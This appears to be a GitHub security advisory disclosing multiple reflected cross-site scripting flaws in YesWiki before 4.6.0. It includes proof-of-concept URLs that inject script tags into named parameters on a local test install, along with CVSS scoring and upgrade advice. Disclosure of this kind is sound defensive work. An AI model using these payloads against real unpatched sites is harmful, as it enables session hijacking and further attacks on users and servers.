Skip to content

YesWiki has Multiple Reflected Cross-site Scripting Vulnerabilities

Moderate severity GitHub Reviewed Published Mar 29, 2026 in YesWiki/yeswiki

Package

composer yeswiki/yeswiki (Composer)

Affected versions

< 4.6.0

Patched versions

4.6.0

Description

Summary

Multiple reflected Cross-site Scripting (XSS) vulnerabilities across both authenticated and unauthenticated portions of the application. These findings present a significant security risk, as they can be leveraged to execute arbitrary JavaScript in a victim’s browser under various contexts.

Impact and Exploitation

While XSS is often treated as a standalone issue, these vulnerabilities have broader implications. Specifically, they can be used as launch points to exploit other significant vulnerabilities.

Proof of concept links follow. All testing was performed on my local docker setup running the lastest version of the application.

Proof of Concepts

Authenticated Reflected XSS

http://localhost:8085/?ElizabethJFeinler/deletepage&incomingurl=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E

http://localhost:8085/?BazaR&vue=saisir&action=saisir_fiche&id=%3Cscript%3Ealert(1)%3C%2fscript%3E

http://localhost:8085/?GererThemes/upload&file=%3Cscript%3Ealert(1)%3C/script%3E

Unauthenticated Reflected XSS

http://localhost:8085/?PagePrincipale/listpages&tags=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

In this one, most of the parameters can be used to deliver an XSS payload, not just the template parameter.

http://localhost:8085/?BazaR/bazariframe&id=2&template=<script>alert(1)</script>&width=100%25&height=600px&lat=46.22763&lon=2.213749&markersize=big&provider=MapBox&zoom=5&groups=&titles=&groupsexpanded=false

Impact

The reflected XSS vulnerabilities identified pose a significant risk to both application integrity and user safety. When combined with other issues discovered such as insecure endpoints or improper authentication mechanisms. These XSS flaws can be leveraged to escalate access, hijack sessions, and in some cases, achieve remote code execution (RCE). For example, malicious JavaScript executed via XSS could be used to trigger authenticated requests that exploit backend vulnerabilities, ultimately allowing an attacker to execute arbitrary commands on the server or pivot deeper into the environment.

Mitigation

Update to version 4.6.0

References

@mrflos mrflos published to YesWiki/yeswiki Mar 29, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-5724-x3rh-5qqq

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.